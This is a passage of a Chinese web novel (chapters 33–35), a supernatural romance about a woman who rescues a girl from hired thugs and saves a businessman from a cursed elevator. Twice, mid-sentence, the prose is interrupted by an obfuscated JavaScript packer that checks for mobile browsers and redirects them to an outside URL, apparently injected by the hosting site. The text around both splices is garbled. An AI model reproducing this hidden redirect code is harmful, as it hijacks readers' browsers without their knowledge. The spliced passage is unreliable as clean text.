张奶奶的气色看着确实没有参加婚宴那天好,但精神头还算不错,许修远一进病房,张奶奶就认出了他,欣喜地喊了一声:“是许家的小远啊——” 左心玥和许修远打过招呼之后,就找了个理由出去了,离开之前,又用眼神示意陪护的阿姨,阿姨很快会意,和左心玥前后脚出了病房。 许修远坐到病床边,张奶奶双手微微颤抖地握住了他的手,笑呵呵说道:“孩子,你有心了,还特意过来看我,耽误你的时间了。” “您太客气了,我来看您是应该的,您是我的长辈,我们两家从太爷爷那一辈就认识了。” 听到这话,张奶奶缓缓地点点头,“是啊,我父亲和你太爷爷关系很好呢,经常见面——” 她神思恍惚,似乎是回忆起旧年往事,好一会儿才回过神来,用力地握住许修远的手。 “小远,你上次说,那个姓颜的姑娘和你没有血缘关系,是吗?” “嗯,我和她是朋友。” “太像了,太像了,”张奶奶喃喃,而后看着许修远,有些激动道:“你应该不知道,她和你太爷爷的——二太太长得很像,我当时以为她会是二太太的后人,但她居然和你没有血缘关系,太凑巧了!” 许修远略一沉吟,问道:“张奶奶,您见过我——二太奶奶吗?” “见过,当然见过——”张奶奶叹了口气,“我还有一张和她的合影,如果不是这张照片,也许我现在也记不得她的样子了,时间实在太久了。” “我不到四岁就没了妈,我父亲在我嫁人之前一直没有再婚,怕委屈了我,基本上去哪里都把我带在身边。那时候我父亲和你太爷爷是至交,时不时就会见面,你太爷爷也经常带上二太太。二太太对我非常好,比家里的阿姨都有耐心,教我说英文,弹钢琴,陪我读书,送我新衣服,甚至还给我绣过荷包,做过一只木雕的兔子,活灵活现的,非常可爱,现在我还保留着。” 33. 第 33 章 “那时候我还小,觉得她就是妈妈的感觉,特别希望我父亲跟她结婚。六岁的时候,我父亲带着我去了申市生活,这一去就是快十年,等我回来的时候,就听说她已经不在了,因为她的孩子都没了,所以她受不住打击,最后悲痛而亡。” “都没了?”许修远一愣,“张奶奶,她一共生过几个孩子呢?” 张奶奶摇头,“我不清楚,我爸也不愿意告诉我这些,每次只要我问他,他都含糊其辞,让我不要多问。我偷偷跟别人打听过,好像是说有个女儿,不到五岁就夭了,她最后也是病逝的。我回来待了一年,我父亲就又带着我去了申市,之后再也没听过关于她的事情,也没有人会在我面前提起她了。” “那您知道我的这位姑奶奶,是什么原因没的吗?” “很多种说法,有说是因为感冒没的,也有说是因为心脏病没的,出意外的,等等,我觉得这些可能都不可信。大概是你太爷爷当时太过悲伤,刚没了一个孩子,又没了一个心爱的太太,所以不愿意让别人提起这件事,家里人应该都没敢往外说,外人了解情况的也不多。我父亲好像说过,你太爷爷很爱她,在她没了之后就变了一个人,一直郁郁寡欢,可能也是这个原因,所以你太爷爷还没知天命就走了。” 许修远思忖片刻,又问道:“那她的名字是?” 张奶奶面露遗憾,“说起来惭愧,我只记得我父亲让我叫她柔姨,要是我没记错的话,你太爷爷也是叫她小柔,但我并不清楚她的全名。” 柔姨,小柔? 所以是姓沈,名字里带有柔字。 许修远垂眸思索着,就听张奶奶又对他说道:“小远啊,能不能麻烦你帮我问问那个孩子,我想见见她,也算了了我小时候的念想,弥补了这么多年的遗憾。” * X市动车站。 颜珺瑶还未站口,就看到正朝她用力挥手的冯玲。 她加快脚步,刷卡出了站口,拖着箱子,小跑着奔向冯玲。 许久不见的两人激动地搂在一起,而后打车先去了酒店。 冯玲现在和父母一起住,家里还有哥哥和嫂子,颜珺瑶了解她家里的情况,知道不方便过夜,所以提前订了酒店。 提起这个,冯玲一上出租车上就开始吐槽。 “你不知道我嫂子有多斤斤计较,多奇葩,我妈买的水果,我要是不小心多吃了一个,她就要嘟嘟囔囔说我妈这个婆婆什么东西都紧着闺女,儿子和儿媳都不是亲的,一堆牢骚。偶尔我太忙了,我妈就会给我洗洗衣服,她要是知道了也不愿意,让我妈也要帮她洗,否则就是偏心。我真是受不了她,关键是我哥的嘴还跟个蚌壳一样,什么都不说。 不仅如此,有时候我因为采访任务,很晚才回家,或者是大晚上出门,她要是不高兴了,还会阴阳怪气地说我不知道在外面乱搞什么,有一次我真的没忍住,差点就跟她打起来了。现在我只盼着攒够首付买了房子,我就搬出去住,耳朵清静了,我妈也不会被夹在中间不好做人。要不是她,你就可以去和我一起住了,也不用住酒店了。” 颜珺瑶乐呵呵地,直说没关系,住酒店也很方便,让她别放在心上。 “我觉得太不好意思了,之前我去你家,你家人对我多好啊,临走的时候还给我塞了好多吃的,现在你来找我,都不能去我家了。”冯玲叹了口气,又挥了下手,“我说错了,那已经不算是我家了,顶多就是个住的地方而已。” 说话间,车子到了酒店楼下,颜珺瑶办理了入住,上楼放了行李,冯玲就带着她去了商场和小吃街,吃吃喝喝,逛逛买买,大半天下来玩得不亦乐乎。 吃过晚饭,两人各自拿着一杯奶茶,坐在电影院外等着电影开场。冯玲正和颜珺瑶说着前段时间的相亲对象,颜珺瑶的手机突然“嘀”了一声。 是许修远发来的微信,问她这几天身体怎么样,是否还头晕。 “……” 即使那天晚上的事情已经过去好几天了,但颜珺瑶只要一想起来,就尴尬地想遁地。 那天之后的次日,许修远就特意给她打了电话,关心她的身体状况,当时她正在喝咖啡,差点没一口喷出去。过了这么些天,没想到他还把那天晚上的事情放在心上。 此时此刻,她真的很想当做没看见这条微信。 冯玲轻轻推了她一下,诧异道:“你发什么愣呢?谁给你发的微信,把你看成这样——” 说着,她就伸长脖子瞄了一眼颜珺瑶的手机屏幕。 “啊——是正在追求你的人吧?”冯玲朝她眨眨眼,“说说看啊,到底什么样,有照片吗,先瞧瞧长啥样!” 颜珺瑶嘴角抽了抽,“不是,我的一个合作伙伴,前几天我生病了,所以问候一下。” 冯玲见是合作伙伴,没什么可八卦的,略略失望地“哦”了一声。 颜珺瑶低下头,回复了许修远的微信。 【许先生,谢谢你的关心,我已经没事了。】 信息刚发出去,许修远秒回。 【嗯,注意休息。】 这时冯玲扯了扯她的胳膊,又看了看电影票,“好像到我们了,进去吧!” 检了票,进了三号影厅,找到座位坐下了。 灯光很快暗了下来,不过前几分钟的广告还没播完,冯玲就接了个电话跑了出去。 没多久又回来了,急忙忙地对颜珺瑶,她外公家出了点事情,让她过去一趟。 颜珺瑶也没了心思看电影,跟着冯玲一起出了商场,打车去了冯玲外公家。 冯玲外公家在三环外的一个老旧小区,老人家找不到药了,不敢乱吃,而平时都是冯玲负责外公的看病买药,所以就给冯玲打了电话。 进了屋之后,外公看到颜珺瑶居然还记得她,乐呵呵地给她拿了一瓶橙汁。 “玲子最喜欢喝这个,她说你们年轻孩子都爱喝这个。” 颜珺瑶刚在商场喝了一杯奶茶,但还是象征性地拧开抿了一口,老人家见状就笑开了。 冯玲坐在客厅的茶几前,全神贯注地整理着老爷子的各种药。 好半晌,她才把医药箱合上,又把注意事项跟外公交代了一遍,这才松了口气,起身给他倒水喝药。 外公呵呵笑着接过药吃了,问冯玲:“你嫂子最近还欺负你吗?” “哎呀,哪有人欺负我,我哪会被人欺负,您就放心吧!” “你少骗我,你妈都跟我说了,你哥也是个锯嘴的葫芦,不会调和,笨死了。”外公叹了口气,抓着冯玲的手说道:“玲子,我听楼下的大成子说,我们这个小区好像也要拆迁了,到时候新房子就写你的名字。” 冯玲愣了下,随即笑起来:“好,到时候您和我一起住!不过啊,估计没这么快的,您就先安心住着吧!” 外公使劲拧开了一瓶新的橙汁,递给冯玲,“你是说隔壁拆迁的事吧,我看到你们电视台报道的新闻了,我们这要是拆迁,应该不会是同一个开发商。” 颜珺瑶一愣,地产开发商? 老人家拉着冯玲又说了许久的话,快到九点了,两人才从冯玲外公家离开。 往楼下走着,颜珺瑶想起了刚才冯玲外公说的,便好奇道:“隔壁拆迁的,出了什么事?” 冯玲深深叹息一声,无奈道:“还能是什么事?某些地产开发商的手段,我估计你们也见识过。有不少住户不同意却被强行拆迁,这个开发商听说起家就不太干净,找了不少社会青年去骚扰,威胁,威逼利诱,大部分人敢怒不敢言,只能签字了,但 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“?”冯玲一怔,“现在?成!” * 二十分钟后,两人从一辆出租车上下来。 出租车司机知道她们俩是要去前面的小区,出于好心提醒她们这附近晚上会有很多小流氓和混混瞎晃悠,让她们注意安全,别待太久。 出租车开走之后,冯玲认得路,拉着颜珺瑶往前走,抽空确认了手机的电量是否还充足。 颜珺瑶让她放心,她的包里还有一个备用的手机,电量满格的。 刚走了不到五十米,前方小区门口就慢悠悠晃出来三四个流里流气的年轻人。 冯玲一惊,拽着颜珺瑶就躲到了一旁的拐角。 刚才她们就是担心一下车就撞上了这些人,所以让司机停在了离小区有一段距离的地方,没想到还是提前碰上了,甚至连小区都还没进去。 颜珺瑶压低着嗓音问:“这条小路可以绕过去吗?” 话音落下,就要拿手机搜索地图。 冯玲略一思索,拍了拍她,轻声道:“应该有,试试。” 两人转身往小路尽头快步走去,七弯八绕地,来到了一堵围墙前。 颜珺瑶仰头望着围墙边的大树,眨眨眼。 这棵树离围墙有一定距离,要想进去,貌似只能翻墙进去。 她突然愣了下,自己怎么就突然要翻墙了,像个做贼的了? 转头四处看了看,搬来了一个废弃的木箱子,垫在地上,两人成功地翻了进去。 她只求这附近没有什么监控,否则即使有这棵树挡着,说不定也会被看出来。 要是有人报警的话—— 这么一想,颜珺瑶突然就觉得自己有点莽撞了,刚才要不是自己多嘴的话,冯玲估计也不会答应来这里,可千万别带累了她。 终于踩到了围墙里的地面,仰头瞧了一眼,几栋楼几乎都是黑的,只稀稀疏疏地亮着几盏灯。 冯玲耳语了一个“五”字,两人小心翼翼地靠近五号楼,结果刚贴着墙走了几步,就模糊听到一个女孩惊恐的声音。 “你们干嘛?我要报警了!快走开——” “听说你爷爷生病了,不知道去医院了没有,我刚才敲了你家的门,好像里面没人啊!” 两人迅速对视一眼,调转方向。等她们靠近离大门口最近的一栋楼时,借着小区外的路灯,看到一个十三四岁的小女孩被四个小混混围着。 就在这时,颜珺瑶看到小女孩狠狠用书包摔向几个人,然后往小区外拔腿就跑。 “哎呦,怎么还跑了呢,聊聊天嘛!” 几个小流氓不慌不忙地跟着跑上去,嘴里一个劲儿地不干不净说着。 34. 第 34 章 颜珺瑶脑子里闪过许多不好的猜想,心急如焚,扔下一句“赶紧报警”,抬脚就要跟上去,却被冯玲一把拉住了。 “你干嘛去?别冲动——” “你在这里报警,我过去看看!放心,我跑得快,不会有事的!” 冯玲依旧没松手,犹豫了两秒,拽着颜珺瑶的手腕就跑起来,“一起过去,要是打起来也多个人!” 颜珺瑶闻言,停了下来,认真地看着冯玲,“冯玲,我是外地人,就算被他们几个记住长相也无所谓,过两天我就走了,你不行!你别去——” 说着挣开她的手,又嘱咐了一句“赶快报警”就跑了出去。 * 前方,几个小混混不紧不慢地跟在女孩身后,故意用污言秽语吓唬着对方。 很快,颜珺瑶就知道他们的目的,女孩被逼到了水边,几个人这才围了过去。 “哎呦,不跑了吧,跟哥哥们去喝杯酒吧!” 其中一个肌肉贲张的纹身男还试图伸手去摸女孩的脸,颜珺瑶大喊道:“你们干嘛呢,我已经报警了!” 肌肉纹身男听到动静,转身朝向颜珺瑶的方向,挑衅道:“别他/妈多管闲事啊,赶紧滚!” 另外三个混混的三只脏手一起伸向了女孩,女孩尖叫起来,不停地往后退,直到退无可退,最后翻过护栏,跳了下去。 “……”颜珺瑶大骇,这孩子怕是不会水啊! 几个混混看到女孩跳了水,皆是一惊,但很快又无所谓地笑起来,撑着护栏往下看。 “哎呦,怎么这么快没动静了,这么会憋气呢!” “哎呦,拍下来给庄助理看看,他一定会很高兴的!” “哥几个谁带手电了啊,好好照一照,看看这妞会从哪里上岸,我们过去堵她!” 颜珺瑶心里大骂畜生,狠狠闭了下眼,咬咬牙,迅速跑到了护栏边,也跳了下去。 跳下去的第一个念头就是,幸好不是特别高,否则她真的可能会担心,没法救人了。 太久没游泳了,而且还是从高处跳下,入水的一瞬间,她只觉得耳朵生疼,而且眼睛刺痛。夜里光线太差,上面的路灯根本没法照到水下,她只能凭借着感觉,往左前方拼命游过去。 好一会儿,终于看到一个模糊的瘦弱的身影,正在挣扎个不停,颜珺瑶加快速度游到她身边,拖住了她。女孩先是一怔,回头发现不是那些混混,便不再挣扎,十分配合着跟着颜珺瑶一起往岸边去。 快到岸边的时候,颜珺瑶余光瞥见有人往这个方向而来,转头一看,心中大骇,那几个畜生居然一直在等着,现在要过来堵她们了。 “妹妹,等会上岸之后就往前面那个小区跑,大喊有色狼,知道吗?” 女孩懵懵地应了一声,带上了哭腔。 颜珺瑶有些力疲,咬着牙游到了岸边,上了岸之后,拉着女孩拼命往对面的马路跑去,同时大声喊着有色狼。 后面的几个混混还在追着,不时骂几句脏话。 女孩受惊过度,又在水下遭了罪,很快就有些跑不动了,速度渐渐慢了下来。颜珺瑶紧紧抓着女孩的手腕不敢松开,鼓励她警察马上就来了。 她庆幸自己离开前,和冯玲共享了实时位置,虽然现在手机已经进水了,但冯玲应该能知道她的最后定位是在江边。 但愿警察能尽快赶过来。 * 眼看着后面几人的距离越来越近,颜珺瑶也有些焦急起来。 此时,路边快速过去好几辆车,但都无视了她的挥手和求救。没办法,只能继续往前跑,小区门口快到了。 蓦地,一辆车子猛地停在了不远处,紧接着又是一辆车子紧随其后。 颜珺瑶大喜,拉着女孩跑了过去,还没跑到跟前,就看到第一辆车上的后座下来了一个人。 西装革履,身材颀长。 “……许修远!” 颜珺瑶大喊了一声他的名字,浑身一下子来了劲儿,拼命奔到了他面前。 “珺瑶!” “许修远,快帮我报警,有人在追我们!” 虽然知道颜珺瑶也来了X市,但许修远怎么也没想到,在这里看到她的时候,居然会是这样的情况。 浑身湿透,在夜里狂奔,身边还带着个同样湿漉漉的孩子。 震惊过后,许修远望向她们的身后,果然看到了几个流里流气的年轻混子。 就这么一会儿的功夫,后面的四个人追了上来,但也注意到了停下的两辆车,不敢靠太近。 “别害怕,你们俩先上车,我来处理。” 许修远先安慰了两人,又从车上拿了两件西装外套。小女孩有些怯怯的,不敢拿,颜珺瑶接过来直接披到了身上,又帮小女孩穿上了。 说话间,车上的副驾驶座上下来了一个三十岁左右的男人,朝那几人走了两步。 几个小混混不自觉地往后退了两步,但那个纹身肌肉男却纹丝不动,梗着脖子看着迎面走来的男人。 “你谁啊,多管什么闲事!” 颜珺瑶让女孩先坐进车里,听到肌肉男的话,大声怒道:“你们几个跟踪,甚至意图伤害,把人逼到跳水,路边的监控都拍下来了!” 除了肌肉男之外,其他三个人都有些怂了,扯了好几下肌肉男的衣服,但对方就是不为所动。 但下一瞬,颜珺瑶就发现肌肉男的表情有了变化。 颜珺瑶回头一看,后车上也下来了两个人,走到了许修远身边,其中一个满脸笑模样,宛如弥勒佛的中年男人,而另一个长相白净,但却给人一脸精明的感觉。 中年男人瞥一眼几步之外的几个混混,又看向颜珺瑶,眼中露出恰当好处的惊诧,呵呵笑了笑。 “修远啊,这位是你朋友吗?” 许修远偏头瞧了瞧颜珺瑶,“嗯”了一声,“她是我的朋友。” “这事我来帮你处理吧!小庄啊,去问问什么情况。” “好的,赵总。” 那位庄助理朝几人走去,肌肉男眯了眯眼,与此同时,后面一个扎着小辫儿的年轻男人朝着庄助理露出一脸谄媚,肌肉男很快也看清了来人是谁,换了一副嘴脸。 庄助理狠狠瞪着几人一眼,嘴里低声吐出一个字,“滚。” 颜珺瑶愣了下,这几个混混居然和庄助理认识。 几个混混转身就走,许修远突然说话了。 “赵总,已经报警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004601|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,就这么让这些人离开,恐怕不合适。” 他将视线落在那个三十岁的男人身上,“陈海,把他们几个拦下来。” 赵总依旧笑呵呵地,吩咐助理留下几个人。 这句话一出,几个混混就真的不敢走了,蔫头耷脑地站在路边。 庄助理低声扔下四个字“把嘴闭严”,就回到了赵总身边。 颜珺瑶的目光在这个赵总和庄助理身上打了个来回,顿时有些明白了。 * 没多久,冯玲找了过来,先给警察打了个电话,又急忙忙地跑到颜珺瑶身边询问情况。 颜珺瑶咬了咬唇,她本不希望冯玲在这些人面前露脸,担心以后会被报复,但她还是过来了。 她简单地说了情况,警察很快就过来了。 几个社会青年被带走了,在场的其他人作为当事人和证人,都跟着去了一趟。 等到从警局出来的时候,已经快十一点了。 许修远一直等着,看到颜珺瑶和另外两个女生出来,便安排人把冯玲和女孩分别送回了家。在得知颜珺瑶住的酒店之后,许修远不太放心,便建议让颜珺瑶换到他现在住的酒店去,至少安保有保证。 “你应该也看出来了,那几个人是庄助理安排的,实际上也就是赵天明的吩咐,你住在那边,不够安全。” 许修远的这个理由说服了颜珺瑶,她自己其实也有些担心,毕竟大晚上的也没有动车可以回去,万一那个赵天明心胸狭窄,趁机报复呢?还是小命要紧。 不过——她现在的安全得到了保证,那么冯玲和那个叫白新的女孩呢?后续赵天明会不会—— 颜珺瑶有些不敢想下去,今天这几个混混是被关起来了,但是赵天明肯定还能找到其他替他办事的人。 她重重叹了口气,自己连累了冯玲。 在回酒店的路上,许修远似乎看出她的心事重重,对她说道:“今晚的事我会让人跟进的,你朋友还有那个孩子,你也不用担心,我来处理,今晚先好好休息。” 许修远不是会说大话的人,既然他这么说,应该就是能有办法处理的。 颜珺瑶神色稍霁,抿了下唇,有些不好意思道:“谢谢,给你添麻烦了。” 许修远眉眼含笑地看着她,突然问道:“你什么时候学的游泳呢?” “?”怎么突然问道这个? 颜珺瑶眨眨眼,不疑有他,想了想,“应该是六年级的时候,和几个同学一起学的。” 车窗外的霓虹灯火闪烁,从许修远的脸上滑过,明暗之间,他淡淡笑了下。 “一个人追上去,而且还从那么高的地方跳下去,害怕吗?” “……” 颜珺瑶抓了抓脸,轻咳一声,“当时来不及害怕,而且我以前是长跑冠军,跑得挺快的,实在不行——还可以跑。” 其实事后想想,她也觉得自己有点莽撞,但当时她没的选择,总不能眼睁睁看着白新被欺负,她才十三岁。 “……”确实跑得挺快,当时许修远在车里,如果不是同时听到她的声音,差点就没看清楚那个人是她。 他暗暗叹了口气,“今晚先好好休息,其他的事情我来处理。” 35. 第 35 章 到了市中心的五星级酒店,颜珺瑶的行李箱已经被送过来了,房间也开好了,就在许修远的楼下。 不仅如此,许修远还让人帮她准备了一个新手机。 颜珺瑶瞧了一眼手上的房卡,暗暗叹息一声,这可是自己大半个月的工资呀! 再加上新手机,她工作两年攒下来的存款,那上面的第一个数字又要减一了。 今晚上真是——她感觉自己的心在滴血。 算了,再赚吧,好得算是做了件好事,就算给自己积阴德了,说不定过段时间自己就转运了。 站在电梯前,颜珺瑶深吸了一口气,终于安慰好了自己。 许修远侧头,笑着问道:“饿了吗?酒店有夜宵,会送到你房间。” 本来不觉得,被他这么一说,不知道是不是心理作用,颜珺瑶居然真的觉得有点饿了。 “嗯,到房间了我再点。” 电梯的门就在这时缓缓打开了,许修远一面准备往前迈步,一面看着颜珺瑶问道:“这一趟待几天。” “本来打算明——”颜珺瑶望向电梯的一瞬间,一下子哑住了,只觉得眼前一晃,扶着脑袋,狠狠闭上了眼睛。 “又头晕了吗?” 颜珺瑶满脸惊恐地再次看向电梯,脸上的血色瞬间褪尽。 那个——那个穿着旗袍的小女孩,她竟然站在电梯里,脸上挂着天真浪漫的笑容,视线死死地定在许修远身上。 她下意识地往后退了一步,不受控地将手掌伸向许修远的后背。 许修远见她如此,瞥了眼已经完全打开的电梯,“你——怎么呢?” 蓦地,他脑子里突然想起一件事,不会是她—— 就在这时,他感觉到自己后背的衬衫被人用力地拽住,再一看,颜珺瑶居然在狠狠地咬着自己的下唇,而且整个人状态十分不对。 颜珺瑶额头沁着细汗,呼吸急促,那种喘不上气的感觉再次出现了,她想要伸手把脖子上勒住自己的东西扯开,但她脑子里的另一个念头更为强烈。 她用尽全力咬住唇,嘴里很快蔓延开血腥气,但她已经顾不上了,因为她感觉现在她终于能清醒一些了。 下一秒,她狠狠拽住许修远的后背,将他往后一扯。电梯门自动关上了,缓缓上升。 颜珺瑶终于松开了许修远,双手抓向自己的脖子,试图让自己好受一些,但还是于事无补,和以往几次的情况别无二致。 她的眼前很快陷入黑暗,没了意识。 许修远一直在喊她的名字,试图让她清醒一些,但颜珺瑶像是根本就没听到他的,直到她晕了过去。他反应迅速,接住了瘫软下去的颜珺瑶,打横把她抱了起来,就要往外走。 酒店的工作人员听到许修远着急的喊声,跑了过来,见状一惊,刚要开口询问,突然就听到“砰”的一声巨响。 是电梯里发出来的。 许修远浑身一僵,看向电梯。 行至四楼的电梯,竟突然间坠落了。 他心头狠狠一震,如果不是颜珺瑶把他拉住,他已经进了电梯。 她又救了自己一次。 * 颜珺瑶醒过来的时候,发现自己又是在医院,不禁感到悲催。 已经有挺长一段时间都没有再出现过今天这种状况,没看到过小女孩和旗袍女人,也没有出现过窒息感,她以为自己的“流年不利”快要过去了,没想到,自己依旧是那个倒霉的她。 许修远一直守在病床边,第一时间注意到她睁开了眼睛,于是小心翼翼地叫了她一声。 “珺瑶——” 颜珺瑶侧头,对上许修远担忧的眼神,扬起嘴角笑道:“我没事,放心吧。” 说着,就从床上坐了起来,许修远先按了呼叫铃,随后帮她把床摇了起来。 “谢谢啊——”颜珺瑶有些不好意思,自己这一趟真是麻烦他了。 许修远笑了笑,坐回到病床边,边给她倒水,边问道:“你刚才——是不是在电梯里看到了我看不到的?” 他顿了顿,“是那个小女孩吗?” 颜珺瑶接过杯子,却无心喝水,脑海里又浮现起不久前在酒店所发生的画面。 “嗯,我看到了那个穿旗袍的小女孩,她——她一直在盯着你,我担心她会对你不利,所以不想让你进电梯。” 许修远点点头,“你晕过去之后,电梯升到了四楼,突然就下坠了,万幸当时里面没有人,没有连累到别人。” 颜珺瑶不禁打了个寒颤,她简直不敢想象,要是当时她没有控制住自己,真的把许修远推进了电梯,那就把他害惨了。 她低声喃喃:“没想到她居然又出现了,而且还是在外地——” “她应该是我的姑奶奶。” “她——她——” 许修远的一句话犹如一记惊雷,震得颜珺瑶差点失了声,愣愣地看了许修远半晌。 门外传来脚步声,不一会儿,医生和护士就推门进来,一番检查之后,表示颜珺瑶情况稳定,让她好好休息,很快就又出去了。 许修远瞥了一眼她的脖子,想起这三次碰见她出现这种状况,她都有抓挠脖子的动作。 还不等他问出口,颜珺瑶就继续刚才的话题。 “她真的是那个旗袍女人和你太爷爷的孩子?!” 许修远“嗯”了一声,“出差前,我去看望过张奶奶,她证实旗袍女人确实生过孩子,孩子不到五岁就没了,原因她并不清楚。孩子夭折后没多久,二太奶奶也因悲痛过度而病逝。” “她们母女的死应该是有蹊跷的——”颜珺瑶突然想到什么,忙问:“姨奶奶还记得她的名字吗?” “只记得叫她柔姨,我太爷爷也是叫她小柔。” “所以旗袍女人要么叫沈柔,要么是沈某柔,或者是沈柔某,前两个可能性大一些。但是——”颜珺瑶皱眉,“这已经过了好几十年,就是她不是出生于普通人家,也不好打听了。” 许修远沉吟片刻,突然说道:“当时的市郊,也就是现在的南滨区,确实有一户姓沈的人家,世代书香,不过那时候已经没落了,到了三零年左右,举家迁走了。” “……”这样就更不好打听了,更需要时间了。 但眼下,许修远就不太安全—— 颜珺瑶喝了口水,想了想,试探性地对许修远说道:“你——要不要换个低楼层的房间,直接走楼梯?或是——考虑换个酒店住吗?” “嗯,我待会儿重新定。” 颜珺瑶稍稍放了心,突然又转头看向床头柜,她的包就放在上面。 多亏了自己在跑出去之前把包给了冯玲,不然这里头大部分的东西都得毁了。 打开包,她从侧袋里取出一个红色的锦袋,递到了许修远面前。 “这是我在普陀寺求的平安符,我知道你身上也有,不过多戴一个总是多一重保证,心里也踏实。” “……那你呢?”许修远凝视着她,没有立刻就接。 其实他觉得自己的那位姑奶奶,甚至是二太奶奶,也是有可能会再找上她的。 颜珺瑶眉眼弯弯,轻轻地拍了下自己的包,“我还有好些个呢,我爷爷还有我朋友都给我求了,我自己也求了两个。这个你拿着吧,我不会有事的,算命的说我至少能活到八十岁。” 许修远忍俊不禁,拿到了手上。 其实他并不是太相信这些东西,父亲出事之前就一直戴着毕老先生给的平安符,但最后还是出了事。而他现在身上确实如颜珺瑶所说,也带着爷爷给他的,但几次三番都差点出事—— 想到这里,他神色一顿,忍不住看向颜珺瑶,每次都是她救了他。 这一点足以说明爷爷给的平安符是没有用的,不过,她既然给了,他就戴着吧! “谢谢!” 许修远的视线忍不住又落在颜珺瑶的脖子上,迟疑了片刻才开口问道:“珺瑶,你的脖子——” “哦——” 颜珺瑶下意识要伸手去摸自己的脖子,许修远及时拉住了她的手,提醒她脖子已经上了药。 他清了清嗓子,重新措辞,“我是想问,你当时——是不是觉得脖子被什么东西勒住或掐住了?” “嗯,”颜珺瑶一想起来就禁不住皱眉,“是被勒住,而且感觉像是——布条,对,像布条,不像绳子,但实际上根本没有人勒我。我在医院做过很细致的检查,都查不出原因,什么问题都没有。” 许修远听到这里,神色不禁变得凝重。 颜珺瑶继续说道:“最有可能应该是——撞邪了,也许是那个小女孩,或是那个旗袍女人,也许是其他我看不见的。” 许修远瞳孔骤缩,是因为她救了他,所以同样被报复吗? “不过——”颜珺瑶重复笑起来,“应该不会有事的,这么多次都是把我勒晕了,没多久就醒了,就是难受会而已,应该——不是想勒死我。” “……” 许修远一时不知道该说什么好了,默了片刻,又开口了。 “今晚谢谢你,又救了我。” 颜珺瑶摇摇头,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010973|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵呵道:“不用谢,我要是跟着进了电梯,也会出事——” 说到最后,她脸上的笑容凝住了。 她意识到自己刚才说的那句话是错的,小女孩或是那个旗袍女人在报复许家的时候,也许并不在乎其他人是否无辜。 比如那次差点发生的车祸,还有今天—— 颜珺瑶一个激灵,难道让她感受窒息的痛苦,是在警告她吗? 脑海深处突然想起那位须发皆白的老先生说的话,命中一劫,无法躲避,而且就在二十四岁。 她的命中一劫,现在看来,应该就是这件事吧!而许修远—— 大概就是和她共同渡劫的人。 病房门被敲响,拉回了颜珺瑶的思绪。 是许修远的助理送了夜宵过来,并告诉许修远已经换好了酒店。 颜珺瑶觉得自己没事了,便让许修远回去休息,已经凌晨了。 许修远明白自己不方便陪在医院,于是点了点头,在等着护工阿姨过来时,突然又想起了张奶奶的嘱托,便问了颜珺瑶。 “好啊好啊,”颜珺瑶忙不迭点头答应了,蓦地又有点犹豫了,“姨奶奶身体还好不?” 她担心又会吓到老人家,自己这张脸,是有点子造孽的。 许修远失笑,“放心,她身体好了。” * 不知道睡到了几点,颜珺瑶突然就醒了过来,浑身难受,鼻子呼出去的气息都是烫的。 她悲催地发现,自己又发烧了。 于是按了呼叫铃,没多会儿护士就进了病房,得知情况之后叫了值班医生进来。 开药,吃药,挂点滴。 盯着支架上的药瓶,颜珺瑶闭上了眼,迷迷糊糊又睡了过去。 第二天一大早,许修远到病房的时候,颜珺瑶还在沉睡,便没有吵醒她。听到护工阿姨说了大半夜发烧的情况,许修远眉头不展,心里十分愧疚。 说到底是他连累了颜珺瑶,让她遭罪了。 许修远安静地坐在病床边等着,床头柜上的手机突然响了,把颜珺瑶吵醒了。 她腾地坐了起来,立即接起电话,才发现不是任务通知。 是冯玲打来的,问她现在在哪里。 本来两人打算今天去参观市里的几处名人故居,但冯玲临时被单位叫去采访,觉得非常对不起颜珺瑶。 颜珺瑶反而松了一口气,这下子冯玲就不会知道她住院了。 她撒了谎,跟冯玲说她自己一个人去也没问题,参观结束之后下午就回去了。 等她结束通话,许修远伸手摸了下她的额头,还好,体温算是正常。 “你下午几点回去?” “应该是三点半左右的动车。” 颜珺瑶脑子依旧有些晕沉,但她已经习惯了,之前每次发烧之后都是这样,她现在担心的是,接下来体温会不会反复。 果然被她猜中了,许修远离开后不久,她又有点烧了起来,还好只是低烧,挂了药之后很快就退烧了。 下午是回不去了,颜珺瑶改签到了晚上八点多的票。 四点多,许修远又来了医院,颜珺瑶正在收拾东西,打算出院。 许修远想让她多观察一晚上,颜珺瑶笑嘻嘻地跟他开玩笑。 “我从小身体就特别好,偶尔感冒也恢复得特别快,我妈经常说我能打死一头牛。” “……”她现在这情况也不是感冒。 “动车一个小时就到了,不会有什么事的。” 许修远也不好勉强她,帮她办好了出院手续,吃过晚饭后,开车送她去了车站。 进站前,颜珺瑶忍不住又啰嗦了两句,让他务必注意安全。 许修远点点头,目送着她拖着行李箱,进了车站。 * 赵天明这两天,有点焦虑,又有点暴躁。 手底下那帮蠢货,一件小事都办不好,竟然还冲撞了许修远的女人,而且那个女人居然还是个记者。 他正巴望着能让许家投资他的下一个项目,好不容易想办法和许修远见上了面,结果合作还没谈拢,人先给得罪了。 一群废物,成事不足败事有余! 赵天明捏着手上的请柬,希望今晚能和许修远好好聊几句。 即使这次不能合作,许家这个人脉是万万不能没了。 不过他觉得,许修远再怎么着也是个商人,不会为了一个女人,和他撕破脸皮的。 在商场上,人脉关系才是立命的根本,就算是许家这样的名门望族也离不开人脉关系。 